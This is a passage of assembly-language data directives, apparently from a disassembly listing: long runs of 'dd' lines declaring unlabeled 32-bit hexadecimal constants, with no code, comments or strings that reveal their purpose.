		dd 2236A2D1h, 0C7E8DFCAh, 0A451876Ch, 86077EDCh, 2397FC3Ch
		dd 9D07E1E2h, 80F6AF3Ah, 40D328Bh, 5A83AE9Bh, 9AF50F5Fh
		dd 32A9408h, 6E42C2AAh,	17A6538Dh, 0EDD4A570h, 8FA49375h
		dd 0A112FBECh, 0CE91FB2Ah, 0EEAE6B23h, 7BA5A9A9h, 144584Bh
		dd 8E62567Dh, 2759CE75h, 14F4A9DDh, 0FFDE9682h,	937F5A6Ah
		dd 0C0F73F4h, 0B12BAABCh, 0E022AF25h, 6B456552h, 9A860115h
		dd 10408FD9h, 0FDC53F62h, 2916923h, 0A609F62Bh,	5AA3EC3Ah
		dd 0D78E0FC2h, 0A766CD9Ah, 7E5E8354h, 0E1E44F2Bh, 0A50AB5B5h
		dd 0D7D4FEFEh, 49684BA7h, 8630B5D2h, 0D93E0B31h, 73F60622h
		dd 0A6033E42h, 0AA4DEBAEh, 87D78A1h, 4083141Fh,	0BFD4D475h
		dd 0CD6224B4h, 6E92116Bh, 0EF5057D5h, 1A8BC51Eh, 0EA845DC4h
		dd 84091792h, 1F7DD7EBh, 54559A25h, 0E3F0D4D3h,	0EC2E6C0Ah
		dd 8A1A83Dh, 0CE7C69D2h, 4737598h, 0D1547A63h, 72EF5EF3h
		dd 9F075339h, 0FC54AFA0h, 0B97A2F58h, 436DE4CAh, 5C4E34AAh
		dd 2D50CF2Bh, 32FD0F02h, 0BF8A7862h, 4007F498h,	2B8E8115h
		dd 6BCF17E1h, 28FE680Ch, 172EE75Bh, 925F2B7Eh, 0DAFD8457h
		dd 0DC0AE517h, 0ABB5C93Eh, 82757EF4h, 0F9F2B1E6h, 7AD76A40h
		dd 0C090AFF7h, 0B9D8A7F9h, 62A52355h, 17EA1F2Eh, 0BD0B0FD2h
		dd 9D4ECEB6h, 59C8397Fh, 0AE0A4357h, 0DFC3C5FBh, 0BEDD575Bh
		dd 280E96E5h, 2BFD43B6h, 981A5D38h, 58E820D5h, 0A56BE750h
		dd 33BB1B12h, 59DC5400h, 7EEE802Eh, 0CEE491D5h,	6CECF1ADh
		dd 813328A2h, 0F6298099h, 345FDFF2h, 0CC0BA5FEh, 857D650Eh
		dd 0B774A371h, 46A53BC3h, 4FB56B5Ch, 0C5138B56h, 0E382104Dh
		dd 2485506h, 71514C87h,	0E4F7BFEEh, 4F39A417h, 0A75DB87Ah
		dd 2E8B7E0Dh, 0F0DA5B88h, 0CBCEED3Ch, 0A9DB2D98h, 524D25CEh
		dd 1BDA6D14h, 2D040C26h, 0C5668BBh, 7C14A85Ah, 0F371361Dh
		dd 0DAACAE0Bh, 5AAF9008h, 10B56EADh, 0EDDE5A37h, 0FC9E49C4h
		dd 0F81861F8h, 0CA10B90Ah, 0F1DEF9FDh, 0F44A22BDh, 2F17CC2Bh
		dd 5EB554EAh, 6AFACE3Dh, 65F8D64Bh, 0DC9FF998h,	0FEF20D46h
		dd 8CB4BD45h, 4285455Bh, 435543E6h, 6115FEC1h, 0B0B8CB93h
		dd 928F0EE3h, 6266D37Ch, 573B104Eh, 50027689h, 21F8FB36h
		dd 183CFCD3h, 0FC3F88EEh, 98B317Eh, 79B109DCh, 7E265F94h
		dd 51959D68h, 1B65D9Ch,	5EBDA73Bh, 0EA6B1ACDh, 0BD1D0DC2h
		dd 7FF5D68Eh, 0E80AA19Ah, 7C287E0h, 0F223C866h,	0E5A978A6h
		dd 0E2FE94E3h, 0A82E57AFh, 54C80C33h, 569E6C78h, 0A11213CBh
		dd 3228BEA0h, 874ED6D1h, 89E8DFEAh, 58AA768h, 0FBD124BEh
		dd 0F04DCF1Ch, 63B81D98h, 4C977E1Eh, 0BB45774Eh, 1F44E6F2h
		dd 47BC337Ch, 968C128Eh, 75D4AD32h, 0CF542513h,	0E1B35667h
		dd 0D7354637h, 8E4B2F1Fh, 48F0ECFh, 6C4ADBA5h, 0C8F844C2h
		dd 20364EB2h, 56232D53h, 1C6F8CEDh, 4100AD7Fh, 0DFDCF454h
		dd 15EE52D5h, 68EF5BE2h, 0BA5BEB9Ah, 0E0D517DEh, 814C8772h
		dd 0FD5AC3DCh, 0EAF97A0Ch, 0FC6176DAh, 44E06227h, 0E9028E1h
		dd 0FD54846Eh, 5341A9FDh, 41969C3Eh, 61AD4151h,	47563E0Eh
		dd 7DF31675h, 43DAD460h, 5AC77F16h, 375B5F8Eh, 4A61ADC4h
		dd 19F4287Ch, 4824F808h, 0ABEC153Ch, 0D1732105h, 0AA8B47D6h
		dd 0DC74BCD6h, 0F7E16610h, 64673279h, 0F8422F45h, 55CF4581h
		dd 5DCF2515h, 60A40255h, 7EBC70DCh, 0DA337F2Bh,	0B832197Ah
		dd 86E7E77Bh, 98F03B5Dh, 1175D905h, 0A1F85F99h,	6E850ADCh
		dd 0CD01D4E2h, 85713F0Bh, 0A9DDD9Bh, 0A91D587Eh, 5D867679h
		dd 4F515B28h, 0E0225AD9h, 65209CD7h, 2137F424h,	849926BFh
		dd 5D81646Eh, 0ED65A952h, 0D719EDD3h, 5CB7FD95h, 0AC5C6579h
		dd 0CF9CE991h, 7D024521h, 42B2E73Dh, 0BAD1DDFEh, 0A26377F1h
		dd 3B13407Ch, 0C389C334h, 0FDFABE73h, 0DD91C0E2h, 0B9AEC03Bh
		dd 82DC0ED0h, 4DF24C96h, 5E2DDBF6h, 30DD6CFDh, 0A9497381h
		dd 143CF6C2h, 8986831Ah, 1486C92Ah, 0C280F2ADh,	79B4704Bh
		dd 659B92E5h, 0C4C0F815h, 16BF073Dh, 5EF45309h,	31440605h
		dd 0D02A88B3h, 0D009041Eh, 0A0439BCCh, 8EE5CEFFh, 8D363FC4h
		dd 0EA94A32Ah, 329F6ED3h, 2EA0BFA4h, 373B6987h,	90BCFA20h
		dd 9A476C1Eh, 83AAAAE0h, 78B06520h, 0A1BAFBF0h,	8B586099h
		dd 0A461CDE6h, 0BC5B8DA5h
		dd 99ECFD62h, 7F35717Ah, 55C56B4Ah, 4F05A280h, 0A61E44D2h
		dd 99E9E27Bh, 8FC5FB07h, 4A59ABA7h, 0F3E5F21Bh,	0A57338DAh
		dd 0F46F97F4h, 0BE7509C6h, 7E72205Dh, 0BC35481Dh, 3C6D1C2Fh
		dd 510A6F7Dh, 1017B9h, 0F1AC3B55h, 0DA8D75B6h, 0A398E554h
		dd 29E2B3F2h, 9E69B94Ch, 1C95E3C1h, 0D26F9390h,	6C868EAEh
		dd 0D08368D3h, 7B38CBFAh, 66C3B4FAh, 3B1835C7h,	0F15095E0h
		dd 0BA0CA97h, 0B2EA76B2h, 0E27B2D1h, 0F9D7091h,	2C1E6C9Ch
		dd 39C78998h, 0A5FE58E6h, 0E3AB6EAAh, 255C598Ch, 3A538786h
		dd 0BD2F08A6h, 0A5E1EC5h, 0C80947AFh, 745F52DDh, 0D65A13B2h
		dd 0A07C010h, 93E128E1h, 0F23FC397h, 451FC2CBh,	8D0158AAh
		dd 0BE0283C0h, 0BA3F24A8h, 1E9EF61Bh, 0FE6221CEh, 0B822690Bh
		dd 88206Ah, 0D0CF6CBCh,	1C4ABDC8h, 0AF70BAB0h, 275CE159h
		dd 8F487910h, 1217D965h, 6192CFE0h, 0F95939D1h,	192A4981h
		dd 5FEBB3BDh, 0D95FB6Eh, 0AE775BA4h, 45B1ED80h,	8D2D80B6h
		dd 718AE63Fh, 1FB93CBAh, 16EA55ADh, 0D7415556h,	2B291052h
		dd 0A83493C1h, 0DF2DD8C4h, 7F761A00h, 877C7447h, 3885BC0Fh
		dd 4E6853B5h, 0F07CC37Fh, 5C1C4775h, 86E94962h,	7B8B746Fh
		dd 6D064F5Eh, 0DC09765Dh, 953795F4h, 0AC8D02Ch,	0BD3B81E5h
		dd 20D8F727h, 47D35C46h, 68731F1Dh, 0F12A5AF3h,	3F57FBE7h
		dd 789D94E3h, 3B4BE2FDh, 6F584331h, 1A8184ABh, 7904B5D0h
		dd 0C4D4BAB7h, 164FAC29h, 0A8D60BB0h, 0CF96BA4Dh, 0E93B7974h
		dd 8A203E3Eh, 0FACB731Fh, 0DF2D3BE3h, 27C8C08h,	2584F0A8h
		dd 0F819938Ch, 9B53737Dh, 0D46D1DC5h, 348F5BA3h, 0C0801770h
		dd 0F2FC565Dh, 5FCC1B66h, 0E40B095Ch, 4A39679h,	0CAC85ABEh
		dd 262077DAh, 0DC3B1EE6h, 8073FBECh, 0F0F8B49Ah, 2DA36F8Fh
		dd 59353C28h, 0AC5F3FB7h, 4E5B5BEh, 897D555Dh, 0B42D7640h
		dd 91B822A3h, 570D981Bh, 0A4E05D66h, 0B43775C5h, 912DD1AFh
		dd 0F75964CAh, 56DB5800h, 2BCC27F4h, 116D3513h,	677F097Dh
		dd 0E15DF69Bh, 0F9F37BF8h, 0E918BEA3h, 0D1059BE3h, 33FC74B6h
		dd 7C712509h, 67259670h, 60C3DC0Fh, 6B2F3AA9h, 2A64A695h
		dd 7D0AC094h, 47986CAh,	311B537Dh, 51E1F9FEh, 0D37047C1h
		dd 0CE78BA96h, 90ABBF6Eh, 0ABA0E411h, 100B73F9h, 22B3F046h
		dd 0B56CD7F9h, 0F1B5341Dh, 9F9300Ah, 684BD0FCh,	79C5CB93h
		dd 7FE24CA0h, 0DDA2DD01h, 694E2AB7h, 5436EF2Ah,	42B9E31Dh
		dd 968ADA0Dh, 5EBF5AA0h, 0E07BC98h, 0F873DD8Eh,	0B99EA3FBh
		dd 63227A78h, 3B2A6771h, 98CAE37Ah, 131545A9h, 4313D563h
		dd 0AE49D67Eh, 0FDD92568h, 6945037Bh, 96F632A4h, 0B0B5756Ah
		dd 0EA6F6033h, 499FF0EEh, 5FA1173Eh, 6FB202D1h,	55160459h
		dd 5288BB14h, 3DDF732h,	0E9743CC9h, 0F1255BDFh,	3D5D45B5h
		dd 0DC91D39Ah, 1C5D554Ch, 22EFF077h, 0FBE51726h, 0E47544E7h
		dd 44F404E1h, 4EA823D2h, 964F5749h, 34D9C9B9h, 168113Eh
		dd 0C2B94D33h, 836E5FBCh, 0EA7BEDC5h, 0C0A6E2F0h, 0E62F0494h
		dd 13860FD6h, 0F7382DFh, 0B3F984D1h, 0AF7C6623h, 0BFC165EBh
		dd 0F7E9A52Ah, 6B332F68h, 0D72664BBh, 0A7E37336h, 0AF03EB33h
		dd 1D81AD8Eh, 0EDBD271Eh, 735FE7EAh, 1A104F19h,	0C3F03DBDh
		dd 0C2F9AD6Eh, 50B87FE3h, 0B1E37266h, 0D96D6965h, 4E6FBA73h
		dd 0BCA5997Fh, 1A8EF90Eh, 2AA7077h, 0BDA0B416h,	0A68518A2h
		dd 0BBAACA2Dh, 0E1F842D2h, 0E92ACB55h, 0EE077F23h, 0D941DE7Ch
		dd 4A1297CAh, 0EC95641h, 49B48EE6h, 22721B57h, 8A5B35B6h
		dd 53B7985h, 0D1059D79h, 2B341387h, 7F30BB82h, 7BC3D6E0h
		dd 0A8E7ECB1h, 44BCD796h, 0F8101BDBh, 7396D897h, 37EEC6C1h
		dd 0A58B0774h, 4E21F526h, 35DEEB2Bh, 77882CC7h,	0C3317430h
		dd 0F0DE8088h, 6A9DA377h, 8A0B559Eh, 0D8E262C0h, 0BFD79370h
		dd 3E945E2Ch, 38326DA8h, 0F966C2EEh, 888EEF5h, 7C3A82F3h
		dd 1D27D2A5h, 0B8B0DDA3h, 0A213538Dh, 0B9CEF365h, 58AF9CA3h
		dd 5590793Ch, 9CEA3A10h, 0B56A4C22h, 4B515157h,	12F84CC9h
		dd 0B2117F13h, 0DB759D62h, 5C9F7FB6h, 47BC5AB7h, 6FBD4F5Ah
		dd 0D23F87E3h, 0FDB69718h, 3E22DEC0h, 0D3495E5Fh, 0BF1E1F8Fh
		dd 6B561A59h, 5AD1F398h, 0E5FEDA3h, 0D68503CAh,	17F3AAD4h
		dd 0E2488A22h, 0A4DE7E98h, 0C72B3E26h, 1DE06D0Dh, 0F62FB0C1h
		dd 0D9F6736Ch, 5661C541h, 7A1F23BEh, 73206FBFh,	622E8AC9h
		dd 38E2455h, 431BA3F7h,	6C38A56Eh, 59AF21A5h, 21743C88h
		dd 0E4BC44FBh, 0D90EBB01h, 0DB24ACE1h, 0F37BBFE4h, 23E93E8h
		dd 0E8B47E0Fh, 290FD491h, 0EBC43C56h, 0F5632707h, 0E954FB7Eh
		dd 0C2B8B684h, 26E54DC8h, 0C7524D48h, 2AE564B3h, 0B256A1A6h
		dd 0F3706D72h, 0A08095CCh, 0C071FA31h, 0B64BCFF4h, 98B57DB4h
		dd 0B7A976B6h, 0DC11BFE8h, 20152E96h, 17CF6F1Eh, 4AA89ECDh
		dd 8EF036B4h, 0D0C20734h, 0BE6316Fh, 0A546A561h, 904BE63Ah
		dd 0B34260F8h, 406B47AFh, 491BCD39h, 0C079A5B3h, 30734B11h
		dd 0EDA0BB60h, 5C7AD863h, 0DA7D2951h, 63AEADA0h, 41ADF040h
		dd 79B67E88h, 41EC5FC5h, 9A9BEAA3h, 4CBE2A56h, 0FA29D73Eh
		dd 0A13A4627h, 34ACA158h, 2752216Bh, 0CC973FD3h, 0BAD2B9C9h
		dd 8349F918h, 5DB2FC4Fh, 5661C34Ah, 0D6AD0159h,	0F3B129ECh
		dd 5E2368EDh, 0B6A05445h, 0CF686D65h, 5CA51236h, 67E016CFh
		dd 55BE2C1Fh, 17B896FCh, 4F30E275h, 0BCEF3C0Dh,	7936E02Bh
		dd 1F3D2360h, 627AF332h, 0C70F266Bh, 4FF214E5h,	0ECACF1CDh
		dd 0F8E8B37Ch, 4EA0C038h, 3D909405h, 6F74D941h,	0C629D81Fh
		dd 8A04902Fh, 0CCB0FD29h, 0B74DDC27h, 1DE27F00h, 261FAD2Ch
		dd 79DD08DCh, 6129ED50h, 1144B12Ah, 0B7142E9Bh,	97CADBC1h
		dd 35699A34h, 0CB95E73Ah, 1ED27AECh, 910DBBEEh,	0AA51B0EFh
		dd 4A05FC9Bh, 0C987A2A4h, 0C762AE4Ah, 4C47EFBCh, 8CDAD61Bh
		dd 0C983861Fh, 884C4E57h, 0A0DDA168h, 786B7D59h, 0AC53ADE2h
		dd 21263293h, 4D30D3E9h, 5BD7E14Dh, 0E6530918h,	4BE5106Ah
		dd 0B86E1h, 0BFD1929h, 0BC0C6375h, 0A5A22C8Ah, 0B9E8DEEAh
		dd 0CCA51D3Eh, 0EA16573Ch, 819FC8h, 0B5B0DA8Ch,	0DA27737Dh
		dd 842186A8h, 0E2667C5Ah, 0CF52F022h, 0BA16F745h, 9D52BB7Ch
		dd 17CF99F5h, 121A8D7Ch, 1F8A19E5h, 0A33E2A1Eh,	0A1DCDF76h
		dd 0BF0C4AD5h, 5CE941E5h, 9C1C0360h, 9D0022F9h,	0EDFB9895h
		dd 8967C7BCh, 0C1B8B8Bh, 9C325D58h, 0CB47DF1Fh,	536A7AB7h
		dd 41543C96h, 54255A85h, 0DD45C24Bh, 8035AF48h,	8C440C39h
		dd 6C8690CAh, 2EA4D78Dh, 0C3A0FE8Bh, 1A8711C5h,	35657CECh
		dd 89FE0420h, 0F4B45A3Ah, 111C6884h, 6E784B15h,	810156CFh
		dd 31938FDAh, 58D2C034h, 0CC4CDB2Ch, 0A76EBDC1h, 0CD2D69F5h
		dd 844F4732h, 0DFECDE81h, 0CD832E0Bh, 0E9438E6Dh, 0D50DE5D0h
		dd 571F0353h, 1C44DAF3h, 506B23F6h, 2A90950Ch, 0D7981AF8h
		dd 0D5BE52ADh, 0D067C46Eh, 69108A98h, 5C834C6Eh, 0F8DF92B2h
		dd 0AA583EDh, 2037D76Bh, 0F5096B5Ah, 7815A5F0h,	0B713F417h
		dd 0A9E51444h, 0A1A10C59h, 2C24A3AFh, 0C35B82F1h, 1453F15h
		dd 68360875h, 0DAA84621h, 4383A2CAh, 1CDEA9Dh, 7F1BE28Ah
		dd 35C34E1Ch, 0B68B54A1h, 0B5244E6h, 0F03E1EE7h, 0D687FBF5h
		dd 0A62BF8EFh, 0D631495Dh, 5A712FD1h, 0B5490744h, 5884BBFAh
		dd 7512DB92h, 0EBBDA864h, 18E81360h, 0FBFEE521h, 4CBE2370h
		dd 54279562h, 65982F11h
		dd 0F116CD1Ah, 97E9AEC3h, 0C2593E5Bh, 0E6E0502Bh, 5A453595h
		dd 9C4A1A6Ah, 9C2B4386h, 4114A67Fh, 9143B81Fh, 0A77B2630h
		dd 8C888E6Dh, 0A162D8BFh, 97BC3416h, 25F2D84Bh,	0E9812D19h
		dd 1DC8D871h, 3E96B001h, 9405D483h, 7A5974BAh, 0AEEDFBCh
		dd 1457FC28h, 0AEEBB86Fh, 3077E051h, 0E1E5BC5h,	577BDF84h
		dd 216B5AEDh, 3EACE77h,	0D5DB7CF3h, 0CEECD25Fh,	0F51A1429h
		dd 489BCECDh, 4FE17CA6h, 0B779E809h, 3B4660F1h,	0DCD7B875h
		dd 21797F67h, 0FAA52AA4h, 9A0CA3E3h, 5FE7F973h,	627FF36Ch
		dd 0E8426BD3h, 0AD4A903Eh, 28C4C6BFh, 3FC45E7Bh, 0AA11A410h
		dd 9CBC8E0Ah, 0B27BCA25h, 1BEFA2B1h, 6E2595E7h,	0F0E1D872h
		dd 0ED8B9D0h, 1E2AF878h, 96BD2B2Dh, 0C08316D3h,	0DB0E0B3Bh
		dd 4B1B9A1h, 1BF9BC3Fh,	16B980Eh, 43B4C44Bh, 47139DFEh
		dd 8E409FD9h, 0E1B961B8h, 90BF4BF1h, 2A3518BCh,	0FF9DFE9h
		dd 0C95E8D03h, 2FE1DAB7h, 0BB881369h, 7A15C35Bh, 1061CE3Bh
		dd 0A6AB0B54h, 3EAD657Ch, 1D7727FAh, 0BAB5110Fh, 0C8D9BFC3h
		dd 2B838986h, 0E2B655E0h, 5A31A157h, 4E325C75h,	0DC43ED5Dh
		dd 1E12D158h, 67CC6D7Ch, 0FADFA923h, 0EA17B7A9h, 569F117Dh
		dd 0B5770DC3h, 53354D54h, 2CDEB853h, 78395BFh, 5AE8ED7Eh
		dd 0FE2A8BFEh, 7E068EADh, 929F67B1h, 0B5426A9h,	0A9911F2Fh
		dd 15FEED60h, 921665ADh, 503C3C0Ah, 0D6BABB69h,	75894EAAh
		dd 0F7A2462Dh, 4113AE12h, 0A83E74B1h, 0A15110ECh, 8FD2634Dh
		dd 1E44762Dh, 0EB3669B8h, 0E6C88B0Dh, 0ACC6A89h, 0EB979AB3h
		dd 0D2D0FECAh, 9288F75Fh, 0B05766DFh, 0E34A4BA3h, 31FA2CCFh
		dd 0D49185FFh, 25F64E91h, 0C782B737h, 96B8D84Dh, 44AD47C1h
		dd 0AB953792h, 0C0E01519h, 7585C94Eh, 0C511FC10h, 0E5F46A9Bh
		dd 4737D37h, 0D2603C37h, 660F1435h, 0F4809278h,	0B32EF4EDh
		dd 0C21DAFB1h, 2D6D9574h, 625219BDh, 0FEBA65F0h, 3E2CE39Dh
		dd 16A3C8F0h, 0AC40A50Eh, 0A03061F2h, 0F093FB92h, 8A0A8E0h
		dd 33E1157Bh, 0CFD82F18h, 3500410Ch, 21A83850h,	0F03846F5h
		dd 0E7F7CD4h, 2463A0BBh, 0AFE318AFh, 7F41307h, 0EFC860B1h
		dd 0AB043CFh, 79CED3BBh, 86E9AAEFh, 853CAC42h, 1DB17C88h
		dd 53E38917h, 0E1577EC8h, 0BE57A8C5h, 38A84008h, 0D8DAF803h
		dd 646690A4h, 7C86CA6h,	0F6EF737h, 87C89FECh, 62D31DD5h
		dd 0E8BC52BCh, 776D181Ah, 4BC24AA5h, 2BF50569h,	5A0D1062h
		dd 0E2FD57A4h, 154F64AAh, 8ADA1C19h, 674CB7C8h,	59B0241Ch
		dd 0DFBAD4ECh, 7CD5F0BDh, 0A87EFB4Ch, 0DD09AE58h, 0BC0F2F73h
		dd 1CC0C999h, 365F2AE1h, 1C8A7901h, 8C6AAC52h, 69343E8Ch
		dd 45A746A3h, 0B46982Ah, 82D3BDBCh, 7872CF61h, 0FE429C0h
		dd 0F4F5379Eh, 8A7A5A74h, 399B7CE2h, 0F2A7E298h, 0EB3FAF42h
		dd 8683AA28h, 0BA718349h, 0EBEE2BA7h, 809755B6h, 0C4CEE956h
		dd 8EEC7AA4h, 0F987703Eh, 0BA87539Dh, 0F10BE0E4h, 0DC1A305Bh
		dd 300E8AFDh, 5BBE4917h, 0EE45303Fh, 0B0F41C93h, 0EB9FDF48h
		dd 0D66E71E3h, 0A1CC1BDh, 0B7A8DF96h, 9382ED31h, 27DCFD7h
		dd 0F0AF5D8Fh, 0C28AFEE7h, 89E4EA4Bh, 0A847FD2h, 0B9CAD1Eh
		dd 0A79B9ADCh, 48962976h, 72FC607h, 63A59ECBh, 28CCEAB3h
		dd 45025315h, 0E4A8477h, 5BBE0608h, 1D0047FEh, 16C9244h
		dd 769FE92Eh, 5C3704B2h, 0B6E5E004h, 0C4F8B7ABh, 0F1F091C4h
		dd 0EED724BDh, 0F67929BDh, 0AD108611h, 0F7CA8A6Eh, 0B0FC59C2h
		dd 7E7379E4h, 0AD166559h, 0A8B7303Dh, 0CDF654D2h, 104A423Dh
		dd 41FB4665h, 6395980Ch, 5D761FBDh, 93FBD84Ah, 0AFDA7F3Eh
		dd 0E1AF5024h, 8CEFD7FAh, 899D5339h, 3ABAD7Bh, 0F82F6633h
		dd 27FDDA24h, 0B83EA78Eh, 0AA3D70E2h, 941494B3h, 54C70517h
		dd 416490F3h, 0F3C1699Dh, 3889AB17h, 0E5FE173Bh, 39595365h
		dd 4C9B3EFDh, 0D583B93Eh, 458A2131h, 0D2904D7h,	526922AFh
		dd 57E9823Dh, 687F0BB1h, 0A386F0E1h, 19A67D57h,	47ED673Eh
		dd 0A5070ED1h, 27D2AB73h, 12BE40D6h, 91123629h,	8C028707h
		dd 7EBB29E3h, 6E006D16h, 52C2C76Fh, 23C545D8h, 0DCED4D76h
		dd 0E46BFDF6h, 9E1D14D9h, 543638B8h, 0ACBFFDDBh, 1ABC3816h
		dd 0CF9C7AE4h, 262FB29h, 6D44888Eh, 0AC262F12h,	43BC7F1Eh
		dd 8FE2D30Fh, 0A91A9718h, 9A0C267Fh, 56EB86A7h,	349FBF75h
		dd 2D7C32D6h, 0CC8B4EF2h, 0A9407D46h, 630B5285h, 29DC6164h
		dd 21CC10F5h, 3301DDDCh, 0C221769Bh, 0BA4A4BEAh, 9DFD321h
		dd 3F8B332h, 74EA3EFFh,	7232A045h, 17AB9337h, 43CAA935h
		dd 0EFD6A928h, 95F16ED7h, 0AB562724h, 0DEEC4077h, 5BC40C28h
		dd 0EE1C0560h, 205CAFFBh, 3EA73F01h, 7EFACF38h,	0FBF4BAAAh
		dd 0E69647F5h, 1FCCA67Dh, 0FF182278h, 3D2F6F07h, 62DDEECCh
		dd 943AF7B3h, 31A44563h, 0BCEE4258h, 0EFAFA5BFh, 18F04A4h
		dd 63DB9FAEh, 0CC00E54Ch, 58BAB183h, 662AB7FDh,	0FA5EACB2h
		dd 0B2DD983Bh, 41486FDAh, 1168C6C2h, 8A2BFF2h, 62758848h
		dd 0AC5166h, 10CAD0ECh,	0A59686FAh, 0CC67E9C8h,	92B090DDh
		dd 0F492C87h, 0F5C9DC76h, 257C1146h, 0B58DFEFCh, 8225E6CDh
		dd 0F688E97Ch, 0BD6A8D2Fh, 29ED3AD3h, 2C218E83h, 6DCA2949h
		dd 452EFC7Ch, 0D3CFBC17h, 6FA391BFh, 0F5EC1519h, 7ACD9D6Dh
		dd 0F2611DE5h, 0BEBFB1E0h, 5195781Fh, 774851CEh, 0C5262D31h
		dd 93E25CA2h, 7E221E27h, 712033E8h, 0BF34CBD9h,	22C1E16Fh
		dd 59E718C8h, 0F2E234AAh, 8AE8AB5Ch, 8F922CE8h,	0F1439F07h
		dd 0CFE6FDC1h, 8C0141A6h, 0D8115884h, 476E0E3Bh, 24B0550Bh
		dd 0C66605D4h, 0FE182D7Ch, 0B55BAC65h, 2EB52C4Eh, 0B63EB6C5h
		dd 6F7B7103h, 0EA669381h, 16EAC174h, 192FDFE9h,	2956E2FDh
		dd 4DD39E8h, 15DBF769h,	59987B94h, 7F7E0689h, 0BA81CF5Fh
		dd 0A0BF42FCh, 6DD76CCEh, 87E7AFADh, 0F2E3C941h, 0DFE48E0h
		dd 35E168Dh, 40337565h,	1696CE65h, 69EA688Dh, 0A8A0A298h
		dd 4B030FB7h, 7A7819B8h, 0B4ADF2B2h, 0AEBB501Ch, 4021AC53h
		dd 8DC48204h, 41906C75h, 17123E77h, 2D122AA5h, 2B7AFAD8h
		dd 0DFBC1FC4h, 5F8737BEh, 0BAB4EE2Ah, 42C10E0h,	1169ECDAh
		dd 9A7B326Dh, 3099CAA7h, 14485498h, 0E62ECF09h,	43033DF4h
		dd 0AC819FB1h, 0CCA3E225h, 7E0A9AC4h, 6E27CB8h,	684C3F3Bh
		dd 0A86150DFh, 71BB5DB4h, 67B7FD66h, 49501A7Bh,	22AC44E5h
		dd 33A0E025h, 4042C4E2h, 0B11E64D8h, 0C3D674Bh,	86B315FCh
		dd 7B01F430h, 0CD5C6395h, 96F52D11h, 3DA9F5D9h,	47845970h
		dd 0F4EED5DEh, 5DB808DAh, 0B77F8BF4h, 0B03F82C3h, 42EDB357h
		dd 0E265698Fh, 4BA89B87h, 92157290h, 0AFAFA84Ch, 7B3FD28Eh
		dd 11938777h, 846685F4h, 16A1CD7Bh, 0CF0A7F77h,	778B58A5h
		dd 0C2E95321h, 0EC7B457Ah, 167B529Eh, 7C3EB72h,	649AF63Ah
		dd 0FDBBAD8Fh, 0D4A11380h, 0DC1EB0B9h, 1467433h, 87C43AB9h
		dd 82DFB1EFh, 0DFEA5F9Ch, 99F7C9FEh, 73C4703Ch,	0ACCC56A3h
		dd 6207C21Bh, 4B3B60C1h, 0F037F77Fh, 0E3B7FDF4h, 397E01BAh
		dd 9DAADDF3h, 7FB02F08h, 0EFB8C3F1h, 0F4517461h, 3D31E051h
		dd 0FF95F836h, 55C57E07h, 8CAE1398h, 667B37ADh,	917F9EE7h
		dd 0A34DDC09h, 0FB517562h, 0BA535300h, 0CB4475D9h, 0C8956B59h
		dd 5DFEE671h, 0C5F33BF0h, 40BEBE61h, 4441E5D3h,	0E6BE38E4h
		dd 35F4E65h, 0C4FB8C6Fh, 577F75A4h, 95C0EE7h, 0AE3E7F79h
		dd 0FEC6D7ECh, 0E0F15E6Eh
		dd 0A9A875A2h, 74E5A20Ah, 9DD17CF7h, 0DBD4D211h, 0E01DEF5h
		dd 6455676Ah, 0F7E5560h, 31CAE668h, 4976FAE5h, 8F653F7Ah
		dd 0D4D96A93h, 3AFDF740h, 576B24D2h, 5571F50Ah,	0E367E996h
		dd 3C47E306h, 0C56AED81h, 0BF6254F4h, 100BFCFh,	0F33837C0h
		dd 0B36865C1h, 7D2A3E55h, 0A40227BDh, 0FC7E5177h, 0A102AFF1h
		dd 0CD6102AEh, 2EB12AC6h, 4A1F9CA5h, 7E48A158h,	6C0D88C5h
		dd 0C607BA8Fh, 99FFB8DFh, 0F85BEF12h, 82BC2A05h, 0D3160FECh
		dd 7308ECDEh, 0D805873Fh, 0AC8FBF8Bh, 1850B33Fh, 0C8D69AAFh
		dd 2A79E90h, 0F563E743h, 0B7C8C9A6h, 62A96A4Bh,	58D3B929h
		dd 0AC4F0FADh, 8E90BEC8h, 222133CAh, 0E7704EE5h, 6C8F19B0h
		dd 17689770h, 0A814607Eh, 0ADDC6A6h, 0E805BDCAh, 254A568Fh
		dd 0E95FB2AAh, 0D704D1D8h, 7B3220Ah, 0F165F7F1h, 0EB722154h
		dd 0E2B3A180h, 0B95CAFE2h, 0DBD04AB2h, 4B2D7490h, 15AB569Fh
		dd 6FA40ED1h, 0BFD7EA79h, 81CB951h, 15C1F48Ah, 0DB5188A5h
		dd 0E4D10BE9h, 2FAD1CB5h, 4CE8095Fh, 24AAC095h,	0CC090AF2h
		dd 1ECF3711h, 4A18ABB5h, 630F4834h, 0E75568A6h,	0FBFED0DBh
		dd 61078D13h, 0BE4AD9B4h, 0E14908DBh, 4574A368h, 5249B2D3h
		dd 0EFC1F322h, 900A2C27h, 0D90F7A74h, 9812DC6h,	0D05EC14Eh
		dd 0C9AC8542h, 7756495Ch, 2EF52645h, 41BF7B20h,	0E62E7963h
		dd 0B44AAD02h, 0C848390Bh, 9C3B262Bh, 0D77A5E09h, 7078DF27h
		dd 9F0176A2h, 4C69B099h, 4149F5B0h, 62784C85h, 0B093860h
		dd 3CFFAFBFh, 18BF14B0h, 0F6B06235h, 99B5E824h,	55412A0Ch
		dd 5952E531h, 0C628CA03h, 9C5E548Ch, 7796A9D0h,	0ED4707E3h
		dd 0D21A777Bh, 21DE2F7Bh, 0DF68BDA2h, 0D055EAC1h, 0ECBF9AC1h
		dd 0D3217B9Bh, 0A3558941h, 0DC8D67A2h, 0CE413F68h, 9F7FEAE8h
		dd 0A527AA6Ch, 7FBBBDBCh, 21785018h, 1D9536B6h,	508807D6h
		dd 7120F1A2h, 3B0A8856h, 0CFE1480Ch, 0ACB4B7D8h, 4AB856B1h
		dd 0CCE0E68Eh, 897DBACCh, 0BE417C1Ah, 0EFAFCA90h, 476445Eh
		dd 0C42E0AC8h, 4FD0D1C8h, 0AC6A7D27h, 0DC42FA97h, 0DBC2FD2Ah
		dd 0C20BB49Bh, 0B469A892h, 0A05EBCC2h, 0EC155CBEh, 370B352Bh
		dd 4FC1A6FFh, 48D68AB7h, 2EDDF7E8h, 0E09918Ah, 444605FFh
		dd 0DB3C956Bh, 7397BF58h, 0AC8B0873h, 54C087FAh, 73FBDE60h
		dd 358630ECh, 2A15ABCDh, 1B4576BEh, 0BE43029Ch,	86D8021Ch
		dd 5F92B727h, 0CD5C6933h, 0C61BEDADh, 0FBEC0609h, 0D18C8DA6h
